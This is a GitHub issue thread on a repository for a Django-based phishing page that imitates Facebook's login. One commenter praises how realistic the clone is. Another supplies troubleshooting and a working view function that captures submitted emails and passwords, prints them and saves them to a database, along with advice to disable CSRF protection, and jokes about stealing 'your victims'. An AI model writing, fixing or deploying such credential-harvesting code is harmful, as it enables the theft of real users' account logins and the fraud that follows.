IAmBlackHacker / Facebook-phishing

Phishing Facebook Page in Django Code(Python Based)
https://facebook.com
164 stars 56 forks source link

Page not found #5

Open adi170-alt opened 2 years ago

adi170-alt commented 2 years ago

brave_HNwz4YiqxV It is really good and realistic but I get this

Ynaso commented 1 year ago

you may change the url on the app url for login instead of fblogin and then disable the csrf_token feature by using

from django.views.decorators.csrf import csrf_exempt

and use the decorator under the view

@csrf_exempt def Passwords(request): if request.method=='POST': username=str(request.POST.get('email')) password=str(request.POST.get('pass')) print(username,password) if not passwords.objects.filter(username=username,password=password): passwords(username=username,password=password).save() ctx={'Success':'Success'} else: ctx={'Bad':'Hacker'} return HttpResponse(json.dumps(ctx), content_type='application/json')

it should work after that, thats just a Troubleshooting to make it work but is not a recommended thing that you disable the CRSF token feature since someone could attack your website and steal your victims lol